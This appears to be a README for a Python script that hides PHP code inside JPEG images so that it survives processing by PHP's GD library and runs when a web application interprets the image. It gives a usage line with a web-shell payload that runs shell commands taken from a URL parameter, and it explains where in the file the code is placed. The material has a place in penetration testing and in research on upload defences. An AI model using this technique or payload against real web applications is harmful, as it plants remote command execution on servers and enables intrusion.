Injects php payloads into jpeg images. Related to this post.

You have a web application that runs a jpeg image through PHP's GD graphics library.

This script injects PHP code into a specified jpeg image. The web application will execute the payload if it interprets the image.

python gd-jpeg.py [JPEG] [PAYLOAD] [OUTPUT]

e.g. python gd-jpeg.py cat.jpeg <?php system($_GET["cmd"]);?> infected_cat.jpeg

PHP code is injected in the null/garbage (brown) space after the scan header:

The new infected jpeg is run through PHP's gd-library. PHP interprets the payload injected in the jpeg and executes it.